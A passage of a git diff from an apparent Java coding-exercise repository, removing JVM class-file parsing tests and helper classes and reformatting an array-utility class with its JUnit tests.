-			utf8Info = (UTF8Info) pool.getConstantInfo(8);
-			Assert.assertEquals("I", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(9);
-			Assert.assertEquals("<init>", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(10);
-			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(11);
-			Assert.assertEquals("Code", utf8Info.getValue());
-		}
-		
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
-			Assert.assertEquals(3, methodRef.getClassInfoIndex());
-			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
-			Assert.assertEquals(9, nameAndType.getIndex1());
-			Assert.assertEquals(14, nameAndType.getIndex2());
-		}
-		//抽查几个吧
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
-			Assert.assertEquals(1, methodRef.getClassInfoIndex());
-			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
-			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
-		}
-    }
-    @Test
-    public void testClassIndex(){
-    	
-    	ClassIndex clzIndex = clzFile.getClzIndex();
-    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
-    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
-    	
-    	
-    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
-    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
-    }
-    
-    
-    
-	private String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-	
-	/**
-     * 下面是第三次JVM课应实现的测试用例
-     */
-    @Test
-    public void testReadFields(){
-   
-    	List<Field> fields = clzFile.getFields();
-    	Assert.assertEquals(2, fields.size());
-    	{
-    		Field f = fields.get(0);
-    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
-    	}
-    	{
-    		Field f = fields.get(1);
-    		Assert.assertEquals("age:I", f.toString());
-    	}
-    }
-    @Test
-    public void testMethods(){
-   
-    	List<Method> methods = clzFile.getMethods();
-    	ConstantPool pool = clzFile.getConstantPool();
-    	
-    	{
-    		Method m = methods.get(0);    		
-    		assertMethodEquals(pool,m,
-    				"<init>",
-    				"(Ljava/lang/String;I)V",
-    				"2ab7000c2a2bb5000f2a1cb50011b1");
-    		
-    	}
-    	{
-    		Method m = methods.get(1);    
-    		assertMethodEquals(pool,m,
-    				"setName",
-    				"(Ljava/lang/String;)V",
-    				"2a2bb5000fb1");
-    		
-    	}
-    	{
-    		Method m = methods.get(2);    
-    		assertMethodEquals(pool,m,
-    				"setAge",
-    				"(I)V",
-    				"2a1bb50011b1");
-    	}
-    	{
-    		Method m = methods.get(3); 
-    		assertMethodEquals(pool,m,
-    				"sayHello",
-    				"()V",
-    				"b2001c1222b60024b1");
-    		
-    	}
-    	{
-    		Method m = methods.get(4);    
-    		assertMethodEquals(pool,m,
-    				"main",
-    				"([Ljava/lang/String;)V",
-    				"bb000159122b101db7002d4c2bb6002fb1");
-    	}
-    }
-    
-    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
-    	String methodName = pool.getUTF8String(m.getNameIndex());
-		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
-		String code = m.getCodeAttr().getCode();
-		Assert.assertEquals(expectedName, methodName);
-		Assert.assertEquals(expectedDesc, methodDesc);
-		Assert.assertEquals(expectedCode, code);
-    }
-
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/test/EmployeeV1.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/test/EmployeeV1.java
deleted file mode 100644
index 81d0ba0e20..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/test/EmployeeV1.java
+++ /dev/null
@@ -1,26 +0,0 @@
-package com.github.orajavac.coding2017.jvm.test;
-
-public class EmployeeV1 {
-	private String name;
-    private int age;
-    
-    public EmployeeV1(String name, int age) {
-        this.name = name;
-        this.age = age;        
-    }    
-
-    public void setName(String name) {
-        this.name = name;
-    }
-    public void setAge(int age){
-    	this.age = age;
-    }
-    public void sayHello() {        
-    	System.out.println("Hello , this is class Employee ");    	
-    }
-    public static void main(String[] args){
-    	EmployeeV1 p = new EmployeeV1("Andy",29);
-    	p.sayHello();    
-    	
-    }
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/util/Util.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/util/Util.java
deleted file mode 100644
index cd3db5e063..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/util/Util.java
+++ /dev/null
@@ -1,50 +0,0 @@
-package com.github.orajavac.coding2017.jvm.util;
-
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Stack;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-public class Util {
-	public static int byteToInt(byte[] codes){
-    	String s1 = byteToHexString(codes);
-    	return Integer.valueOf(s1, 16).intValue();
-    }
-    
-    
-    
-	public static String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-	
-	public static Object[] parseOperNumToArray(String str){
-		String regEx = "\\d+|(\\*)|(\\+)|(-)|(/)";
-		Pattern pat = Pattern.compile(regEx);
-        Matcher mat = pat.matcher(str);
-        List<String> l = new ArrayList<String>();
-        while(mat.find()){
-           l.add(mat.group());
-        }
-        /*Object[] obj = l.toArray();
-        for (int i=0;i<obj.length;i++){
-			System.out.print(obj[i]+" ");
-		}*/
-		return l.toArray();
-	}
-	
-	public static String[] parseOperatorToArray(String str){
-		String[] array = str.split(" ");
-		return array;
-	}
-}
diff --git a/group02/727171008/.classpath b/group02/727171008/.classpath
index 429701a6eb..3e0fb272a8 100644
--- a/group02/727171008/.classpath
+++ b/group02/727171008/.classpath
@@ -3,6 +3,5 @@
 	<classpathentry kind="src" path="src"/>
 	<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER"/>
 	<classpathentry kind="con" path="org.eclipse.jdt.junit.JUNIT_CONTAINER/4"/>
-	<classpathentry kind="lib" path="F:/jdom-2.0.6/jdom-2.0.6.jar"/>
 	<classpathentry kind="output" path="bin"/>
 </classpath>
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/array/ArrayUtil.java b/group02/727171008/src/com/github/HarryHook/coding2017/array/ArrayUtil.java
index 613163b38a..d5cca25bf4 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/array/ArrayUtil.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/array/ArrayUtil.java
@@ -4,236 +4,367 @@
 
 import com.sun.xml.internal.bind.v2.runtime.unmarshaller.XsiNilLoader.Array;
 
-public class ArrayUtil {
-
-    /**
-     * 给定一个整形数组a , 对该数组的值进行置换 例如： a = [7, 9 , 30, 3] , 置换后为 [3, 30, 9,7] 如果 a =
-     * [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
-     * 
-     * @param origin
-     * @return
-     */
-    public void reverseArray(int[] origin) {
-	if (origin == null || origin.length == 0) {
-	    return;
-	}
-
-	for (int i = 0, j = origin.length - 1; i < j; i++, j--) {
-	    int t = origin[i];
-	    origin[i] = origin[j];
-	    origin[j] = t;
-	}
-    }
-
-    /**
-     * 现在有如下的一个数组： int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}
-     * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为： {1,3,4,5,6,6,5,4,7,6,7,5}
-     * 
-     * @param oldArray
-     * @return
-     */
-
-    public int[] removeZero(int[] oldArray) {
-
-	if (oldArray == null) {
-	    return null;
-	}
-
-	int count = 0; // 统计非零元素个数
-	int b[] = new int[oldArray.length];
-	// 先统计非零元素个数，并将非零元素存入一个和原数组同样大小的新数组
-	for (int i = 0; i < oldArray.length; i++) {
-	    if (oldArray[i] != 0) {
-		b[count++] = oldArray[i];
-	    }
-	}
-	// 将非零元素copy到新数组
-	return Arrays.copyOf(b, count);
-
-    }
-
-    /**
-     * 给定两个已经排序好的整形数组， a1和a2 , 创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的 例如 a1 =
-     * [3, 5, 7,8] a2 = [4, 5, 6,7] 则 a3 为[3,4,5,6,7,8] , 注意： 已经消除了重复
-     * 
-     * @param array1
-     * @param array2
-     * @return
-     */
-
-    public int[] merge(int[] array1, int[] array2) {
-	if (array1 == null) {
-	    return array2;
-	}
-	if (array2 == null) {
-	    return array1;
-	}
-	int[] newArray = new int[array1.length + array2.length];
-	// 应该让a1，a2两个数组先进行比较 比较后插入元素
-	int i = 0; // array1下标
-	int j = 0; // array2下标
-	int count = 0; // array3下标
-	while (i < array1.length && j < array2.length) {
-	    if (array1[i] < array2[j]) {
-		newArray[count++] = array1[i++];
-	    } else if (array1[i] > array2[j]) {
-		newArray[count++] = array2[j++];
-	    } else if (array1[i] == array2[j]) {
-		newArray[count++] = array1[i++] = array2[j++];
-	    }
-	}
-	while (j == array2.length && i < array1.length) {
-	    newArray[count++] = array1[i++];
-	}
-	while (i == array1.length && j < array2.length) {
-	    newArray[count++] = array2[j++];
+public class ArrayUtil 
+{
+	
+	/**
+	 * 给定一个整形数组a , 对该数组的值进行置换
+		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
+		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+	 * @param origin
+	 * @return
+	 */
+	public void reverseArray(int[] origin)
+	{	
+		if(origin == null || origin.length == 0)
+		{
+			return ;
+		}
+		
+		 for(int i=0, j = origin.length-1; i<j; i++, j--)
+		 {
+			 int t = origin[i];
+			 origin[i] = origin[j];
+			 origin[j] = t;
+		 }
 	}
-	return Arrays.copyOf(newArray, count);
-    }
+	
+	/**
+	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
+	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
+	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
+	 * @param oldArray
+	 * @return
+	 */
+	
+	public int[] removeZero(int[] oldArray)
+	{	//传进空数组是返回空数组
+		if(oldArray == null)
+		{
+			return null;
+		}
+			
+		int count = 0; //统计非零元素个数
+		int b[] = new int[oldArray.length];
+		//先统计非零元素个数，并将非零元素存入一个和原数组同样大小的新数组
+		for(int i=0; i < oldArray.length; i++)
+		{
+			if(oldArray[i] != 0)
+			{
+				b[count++] = oldArray[i];
+			}	
+		}
+		//将非零元素copy到新数组
+		return Arrays.copyOf(b, count);
 
-    /**
-     * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
-     * 注意，老数组的元素在新数组中需要保持 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
-     * [2,3,6,0,0,0]
-     * 
-     * @param oldArray
-     * @param size
-     * @return
-     * @throws Exception
-     */
-    public int[] grow(int[] oldArray, int size) {
-	if (oldArray == null) {
-	    return null;
 	}
-	if (size < 0) {
-	    throw new IndexOutOfBoundsException("size小于0");
-	}
-	int[] newArray = new int[oldArray.length + size];
-	System.arraycopy(oldArray, 0, newArray, 0, oldArray.length);
-	return newArray;
-    }
+	
+	/**
+	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
+	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
+	 * @param array1
+	 * @param array2
+	 * @return
+	 */
+	
+	public int[] merge(int[] array1, int[] array2)
+	{   //当array1和array2都为空时，返回空
+		if(array1 == null)
+		{
+			return array2;
+		}
+		if(array2 == null)
+		{
+			return array1;
+		}
+		int[] newArray = new int[array1.length + array2.length];
+		//应该让a1，a2两个数组先进行比较 比较后插入元素
+		int i = 0;  //array1下标
+		int j = 0;	//array2下标
+		int count = 0;	//array3下标
+		while(i < array1.length && j < array2.length)
+		{
+			if(array1[i] < array2[j])
+			{
+				newArray[count++] = array1[i++];
+			}
+			else if(array1[i] > array2[j])
+			{
+				newArray[count++] = array2[j++];
+			}
+			else if(array1[i] == array2[j])
+			{
+				newArray[count++] = array2[j++];
+				i++;
+			}
+		}
+		while(i==array1.length && j<array2.length)
+		{
+			newArray[count++] = array2[j++];
+		}
+		while(j==array2.length && i<array1.length)
+		{
+			newArray[count++] = array1[i++];
+		}
+	
 
-    /**
-     * 斐波那契数列为：1，1，2，3，5，8，13，21...... ，给定一个最大值， 返回小于该值的数列 例如， max = 15 ,
-     * 则返回的数组应该为 [1，1，2，3，5，8，13] max = 1, 则返回空数组 []
-     * 
-     * @param max
-     * @return
-     */
-    public int[] fibonacci(int max) {
-	if (max == 1) {
-	    return new int[0];
-	}
-	if (max == 2) {
-	    return new int[] { 1, 1 };
-	}
-	// 先将max设置为数组长度,但会浪费空间
-	int[] a = new int[max];
-	a[0] = 1;
-	a[1] = 1;
-	int count = 2;
-	for (int i = 2; i < max; i++) {
-	    a[i] = a[i - 1] + a[i - 2];
-	    if (a[i] >= max) {
-		break;
-	    } else {
-		count++;
-	    }
+		return  Arrays.copyOf(newArray, count);
 	}
-
-	return Arrays.copyOf(a, count);
-    }
-
-    /**
-     * 返回小于给定最大值max的所有素数数组 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
-     * 
-     * @param max
-     * @return
-     */
-    public int[] getPrimes(int max) {
-	/*
-	 * 思路：先生成素数数组，数组的最大值小于max
+	/**
+	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+	 * 注意，老数组的元素在新数组中需要保持
+	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+	 * [2,3,6,0,0,0]
+	 * @param oldArray
+	 * @param size
+	 * @return
+	 * @throws Exception 
 	 */
-	// max小于3时，返回空数组
-	if (max < 3) {
-	    return new int[0];
-	}
-	int[] array = new int[max];
-	int count = 0;
-
-	for (int n = 2; n < max; n++) {
-	    if (isPrime(n)) {
-		array[count++] = n;
-	    }
+	public int[] grow(int [] oldArray,  int size)
+	{
+		if(oldArray == null)
+		{
+			return null;
+		}
+		if(size < 0)
+			throw new IndexOutOfBoundsException("size小于0");
+		int[] newArray = new int[oldArray.length + size];
+		System.arraycopy(oldArray, 0, newArray, 0, oldArray.length);
+		return newArray;
 	}
-
-	return Arrays.copyOf(array, count);
-    }
-
-    private boolean isPrime(int n) {
-	// 判断当前n是不是素数
-	int i = 2;
-	while (i < n) {
-	    if (n % i == 0)
-		break;
-	    if (n % i != 0)
-		i++;
+	
+	/**
+	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
+	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
+	 * max = 1, 则返回空数组 []
+	 * @param max
+	 * @return
+	 */
+	public int[] fibonacci(int max)
+	{	
+		if(max == 1)
+		{
+			return new int[0];
+		}
+		if(max == 2)
+		{
+			return new int[] {1, 1};
+		}
+		//先将max设置为数组长度,但会浪费空间
+		int[] a = new int[max];
+		a[0] = 1;
+		a[1] = 1;
+		int count = 2;
+		for(int i=2; i<max; i++)
+		{
+			a[i] = a[i-1] + a[i-2];
+			if(a[i] >= max)
+			{
+				break;
+			}
+			else
+			{
+				count++;
+			}
+		}
+			
+		return Arrays.copyOf(a, count);
 	}
-	return i == n;
-    }
+	
+	/**
+	 * 返回小于给定最大值max的所有素数数组
+	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
+	 * @param max
+	 * @return
+	 */
+	public int[] getPrimes(int max)
+	{
+		/*
+		 * 思路：先生成素数数组，数组的最大值小于max  
+		 */
+		//max小于3时，返回空数组
+		if(max < 3)
+		{
+			return new int[0];
+		}
+		int[] array = new int[max];
+		int count = 0;  
 
-    /**
-     * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
-     * 
-     * @param max
-     * @return
-     */
-    public int[] getPerfectNumbers(int max) {
-	if (max < 0) {
-	    return null;
+		for(int n = 2; n < max; n++)
+		{
+			if(isPrime(n))
+			{
+				array[count++] = n;
+			}
+		}
+		
+		return Arrays.copyOf(array, count);
 	}
-	int[] array = new int[max];
-	int count = 0;
 
-	for (int n = 2; n < max; n++) {
-	    int sum = 0;
-	    for (int i = 1; i < n; i++) {
-		if (n % i == 0) {
-		    sum += i;
-		}
-	    }
-	    if (sum == n) {
-		array[count++] = n;
-	    }
+	private boolean isPrime(int n)
+	{
+		//判断当前n是不是素数
+		int i = 2;
+		while(i < n)  
+		{
+			if(n % i == 0)
+				break;
+			if(n % i != 0)
+				i++;
+		}
+		return i == n;
 	}
-
-	return Arrays.copyOf(array, count);
-    }
-
-    /**
-     * 用seperator 把数组 array给连接起来 例如array= [3,8,9], seperator = "-" 则返回值为"3-8-9"
-     * 
-     * @param array
-     * @param s
-     * @return
-     */
-    public String join(int[] array, String seperator) {
-	if (array == null) {
-	    return null;
+	
+	/**
+	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
+	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
+	 * @param max
+	 * @return
+	 */
+	public int[] getPerfectNumbers(int max)
+	{	
+		if(max < 0)
+		{
+			return null;
+		}
+		int[] array = new int[max];
+		int count = 0;
+		
+		for(int n = 2; n < max; n++)
+		{
+			int sum = 0;
+			for(int i=1; i<n; i++)
+			{
+				if(n%i == 0)
+					sum += i;
+			}
+			if(sum == n)
+			{
+				array[count++] = n;
+			}
+		}
+		
+		return Arrays.copyOf(array, count);
 	}
-	if (array.length == 0) {
-	    return "";
+	
+	/**
+	 * 用seperator 把数组 array给连接起来
+	 * 例如array= [3,8,9], seperator = "-"
+	 * 则返回值为"3-8-9"
+	 * @param array
+	 * @param s
+	 * @return
+	 */
+	public String join(int[] array, String seperator)
+	{
+		if(array == null )
+		{
+			return null;
+		}
+		if(array.length == 0)
+		{
+			return "";
+		}
+		
+		StringBuilder buffer = new StringBuilder();
+		for(int i=0; i<array.length; i++)
+		{
+			buffer.append(array[i]);
+			if(i < array.length -1)
+			{
+				buffer.append(seperator);
+			}
+		}
+	 
+		return buffer.toString();
 	}
-
-	StringBuilder buffer = new StringBuilder();
-	for (int i = 0; i < array.length; i++) {
-	    buffer.append(array[i]);
-	    if (i < array.length - 1) {
-		buffer.append(seperator);
-	    }
+	
+ 
+	public static void main(String[] args)
+	{
+		/*  reverseArray()
+		 * 
+		 *
+		int[] a = {1, 2,1, 3, 5, 6};
+		reverseArray(a);
+		for(int i=0; i<a.length; i++)
+		{
+			System.out.print(a[i] + " ");
+		}
+		*/
+		
+		
+		/* removeZero()
+		 * 
+		 * 
+		int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5, 7, 8}; 
+		int[] a = removeZero(oldArr);
+		for(int i=0; i<a.length; i++)
+		{
+			System.out.print(a[i] + " ");
+		}
+		*/
+		
+		
+		/* merge()
+		 * 
+		 * 
+		 int[] a1 = {3, 5, 7, 8, 9};
+		 int[] a2 = {1, 2, 3, 4, 5, 6, 7};
+		 int[] a3 = merge(a1, a2);
+		 for(int i=0; i<a3.length; i++)
+		 {
+			 System.out.print(a3[i] + " ");
+		 }
+		 */
+		
+		/* grow()
+		 * 
+		 *
+		int[] a = new int[0];//{3, 5, 7, 8, 9};
+		int[] newArray = grow(a, -3);
+		for(int i=0; i<newArray.length; i++)
+		{
+			System.out.print(newArray[i] + " ");
+		}
+		*/
+		
+		/* fibonacci()
+		 *
+		int[] array =  fibonacci(35);
+		for(int i=0; i<array.length; i++)
+		{
+			System.out.print(array[i] + " ");
+		}
+		*/
+		
+		/* getPrimes()
+		 *
+		int[] array =  getPrimes(2);
+		for(int i=0; i<array.length; i++)
+		{
+			System.out.print(array[i] + " ");
+		}
+		*/
+		
+		/*  getPerfectNumbers()
+		 *
+		int[] array =  getPerfectNumbers(10000);
+		for(int i=0; i<array.length; i++)
+		{
+			System.out.print(array[i] + " ");
+		}
+		*/
+		
+		/*  join()
+		 *
+		int[] Array = {3, 5, 7, 8, 9};
+		int[] array = {};
+		String s = join(array, "-");
+		System.out.println(s);
+		*/
+		 
 	}
 
-	return buffer.toString();
-    }
 
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/array/ArrayUtilTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/array/ArrayUtilTest.java
index a258cdbcf5..eebdd44a96 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/array/ArrayUtilTest.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/array/ArrayUtilTest.java
@@ -9,145 +9,156 @@
 
 import com.github.HarryHook.coding2017.array.ArrayUtil;
 
-public class ArrayUtilTest {
-    private ArrayUtil myArray;
-
-    @Before
-    public void setUp() throws Exception {
-	myArray = new ArrayUtil();
-    }
-
-    @Test
-    public void testReverseArray() {
-	int[] a = { 1, 2, 1, 3, 5, 6 };
-	int[] b = { 6, 5, 3, 1, 2, 1 };
-
-	myArray.reverseArray(a);
-	assertArrayEquals(a, b);
-
-	int[] c = new int[0];
-	myArray.reverseArray(c);
-	assertArrayEquals(c, new int[0]);
-
-    }
-
-    @Test
-    public void testRemoveZero() {
-	int[] oldArr = { 1, 3, 4, 5, 0, 0, 6, 6, 0, 5, 4, 7, 6, 7, 1, 2, 0, 5 };
-	int b[] = { 1, 3, 4, 5, 6, 6, 5, 4, 7, 6, 7, 1, 2, 5 };
-	int[] c = myArray.removeZero(oldArr);
-	assertArrayEquals(b, c);
-
-	int[] d = null;
-	int[] e = myArray.removeZero(d);
-	assertNull(e);
-
-    }
-
-    @Test
-    public void testMerge() {
-	int a1[] = { 1, 2, 3, 4, 5 };
-	int b1[] = { 3, 4, 5, 6, 7, 8 };
-	int c1[] = { 1, 2, 3, 4, 5, 6, 7, 8 };
-	int[] newArray1 = myArray.merge(a1, b1);
-	assertArrayEquals(c1, newArray1);
-
-	int a2[] = new int[0];
-	int b2[] = { 0, 2, 3, 6, 7, 8 };
-	int c2[] = { 0, 2, 3, 6, 7, 8 };
-	int[] newArray2 = myArray.merge(a2, b2);
-	assertArrayEquals(c2, newArray2);
-
-	int a3[] = { 0, 2, 3, 6, 7, 8 };
-	int b3[] = new int[0];
-	int c3[] = { 0, 2, 3, 6, 7, 8 };
-	int[] newArray3 = myArray.merge(a3, b3);
-	assertArrayEquals(c3, newArray3);
-
-	int[] a4 = null;
-	int[] b4 = null;
-	int[] newArray4 = myArray.merge(a4, b4);
-	assertNull(newArray4);
-    }
-
-    @Rule
-    public ExpectedException expectedEx = ExpectedException.none();
-
-    @Test
-    public void testGrow() {
-	int[] a = { 3, 5, 7, 8, 9 };
-	int[] b = { 3, 5, 7, 8, 9, 0, 0, 0 };
-	int[] newArray = myArray.grow(a, 3);
-	assertArrayEquals(b, newArray);
-
-	int[] c = null;
-	int[] newArray1 = myArray.grow(c, 3);
-	assertNull(newArray1);
-
-	// size < 0 抛出异常
-	expectedEx.expect(Exception.class);
-	myArray.grow(a, -3);
-    }
-
-    @Test
-    public void testFibonacci() {
-	// max == 1时返回空数组
-	int[] array1 = myArray.fibonacci(1);
-	int[] b = new int[0];
-	assertArrayEquals(array1, b);
-
-	int[] array2 = myArray.fibonacci(35);
-	int[] c = { 1, 1, 2, 3, 5, 8, 13, 21, 34 };
-	assertArrayEquals(c, array2);
-    }
-
-    @Test
-    public void testGetPrimes() {
-	int[] a = { 2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31 };
-	int[] array1 = myArray.getPrimes(35);
-	assertArrayEquals(a, array1);
-
-	// max <= 2的时候没有素数，数组为空数组
-	int[] array2 = myArray.getPrimes(1);
-	int[] b = new int[0];
-	assertArrayEquals(array2, b);
-    }
-
-    @Test
-    public void testGetPerfectNumbers() {
-	int[] array = myArray.getPerfectNumbers(-1);
-	assertNull(array);
-
-	array = myArray.getPerfectNumbers(0);
-	assertArrayEquals(array, new int[0]);
-
-	array = myArray.getPerfectNumbers(10000);
-	int[] a = { 6, 28, 496, 8128 };
-	assertArrayEquals(a, array);
-    }
-
-    @Test
-    public void testJoin() {
-	int[] array0 = { 3, 5, 7, 8, 9 };
-	String s0 = myArray.join(array0, "-");
-	String s1 = "3-5-7-8-9";
-	assertEquals(s1, s0);
-
-	int[] array1 = { 3 };
-	String s2 = myArray.join(array1, "-");
-	String s3 = "3";
-	assertEquals(s2, s3);
-
-	// 传递空数组时，返回空字符串
-	int[] array2 = new int[0];
-	String s4 = myArray.join(array2, "-");
-	String s5 = "";
-	assertEquals(s4, s5);
-
-	// 传递数组为null
-	int[] array3 = null;
-	String s6 = myArray.join(array3, "-");
-	assertNull(s6);
-    }
+public class ArrayUtilTest
+{
+	private ArrayUtil myArray;
+	
+	@Before
+	public void setUp() throws Exception
+	{
+		myArray = new ArrayUtil();
+	}
+
+	@Test
+	public void testReverseArray()
+	{
+		int[] a = {1, 2, 1, 3, 5, 6};
+		int[] b = {6, 5, 3, 1, 2, 1};
+				
+		myArray.reverseArray(a);
+		assertArrayEquals(a, b);
+		
+		int[] c = new int[0];
+		myArray.reverseArray(c);
+		assertArrayEquals(c, new int[0]);
+
+	}
+
+	@Test
+	public void testRemoveZero()
+	{
+		int[] oldArr= {1, 3, 4, 5, 0, 0, 6, 6, 0, 5, 4, 7, 6, 7, 1, 2, 0, 5};
+		int b[] = {1, 3, 4, 5, 6, 6, 5, 4, 7, 6, 7, 1, 2, 5};  
+		int[] c = myArray.removeZero(oldArr);
+		assertArrayEquals(b, c);
+		
+		int[] d = null;
+		int[] e = myArray.removeZero(d);
+		assertNull(e);
+		
+	}
+
+	@Test
+	public void testMerge()
+	{
+		int a1[] = {1, 2, 3, 4, 5};
+		int b1[] = {3, 4, 5, 6, 7, 8};
+		int c1[] = {1, 2, 3, 4, 5, 6, 7, 8};
+		int[] newArray1 = myArray.merge(a1, b1);
+		assertArrayEquals(c1, newArray1);
+		
+		int a2[] = new int[0];
+		int b2[] = {0, 2, 3, 6, 7, 8};
+		int c2[] = {0, 2, 3, 6, 7, 8};
+		int[] newArray2 = myArray.merge(a2, b2);
+		assertArrayEquals(c2, newArray2);
+		
+		int a3[] = {0, 2, 3, 6, 7, 8};
+		int b3[] = new int[0];
+		int c3[] = {0, 2, 3, 6, 7, 8};
+		int[] newArray3 = myArray.merge(a3, b3);
+		assertArrayEquals(c3, newArray3);
+		
+		int[] a4 = null;
+		int[] b4 = null;
+		int[] newArray4 = myArray.merge(a4, b4);
+		assertNull(newArray4);
+	}
+
+	@Rule  
+	public ExpectedException expectedEx = ExpectedException.none(); 
+	
+	@Test
+	public void testGrow()
+	{
+		int[] a = {3, 5, 7, 8, 9};
+		int[] b = {3, 5, 7, 8, 9, 0, 0, 0};
+		int[] newArray = myArray.grow(a, 3);
+		assertArrayEquals(b, newArray);
+		
+		int[] c = null;
+		int[] newArray1 = myArray.grow(c, 3);
+		assertNull(newArray1);
+		
+		// size < 0 抛出异常
+		expectedEx.expect(Exception.class);
+		myArray.grow(a, -3);
+	}
+	
+	@Test
+	public void testFibonacci()
+	{
+		//max == 1时返回空数组
+		int[] array1 =  myArray.fibonacci(1);
+		int[] b = new int[0];
+		assertArrayEquals(array1, b);
+		
+		
+		int[] array2=  myArray.fibonacci(35);
+		int[] c = {1, 1, 2, 3, 5, 8, 13, 21, 34 };
+		assertArrayEquals(c, array2);
+	}
+
+	@Test
+	public void testGetPrimes()
+	{
+		int[] a = {2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31 };
+		int[] array1 =  myArray.getPrimes(35);
+		assertArrayEquals(a, array1);
+		
+		//max <= 2的时候没有素数，数组为空数组
+		int[] array2 = myArray.getPrimes(1); 
+		int[] b = new int[0];
+		assertArrayEquals(array2, b);
+	}
+
+	@Test
+	public void testGetPerfectNumbers()
+	{
+		int[] array =  myArray.getPerfectNumbers(-1);
+		assertNull(array);
+		
+		array =  myArray.getPerfectNumbers(0);
+		assertArrayEquals(array, new int[0]);
+		
+		array =  myArray.getPerfectNumbers(10000);
+		int[] a = {6, 28, 496, 8128 };
+		assertArrayEquals(a, array);
+	}
+
+	@Test
+	public void testJoin()
+	{
+		int[] array0 = {3, 5, 7, 8, 9};
+		String s0 = myArray.join(array0, "-");
+		String s1 = "3-5-7-8-9";
+		assertEquals(s1, s0);
+		
+		int[] array1 = {3};
+		String s2 = myArray.join(array1, "-");
+		String s3 = "3";
+		assertEquals(s2, s3);
+		
+		//传递空数组时，返回空字符串
+		int[] array2 = new int[0];
+		String s4 = myArray.join(array2, "-");
+		String s5 = "";
+		assertEquals(s4, s5);
+		
+		//传递数组为null
+		int[] array3 = null;
+		String s6 = myArray.join(array3, "-");
+		assertNull(s6);
+	}
 
 }
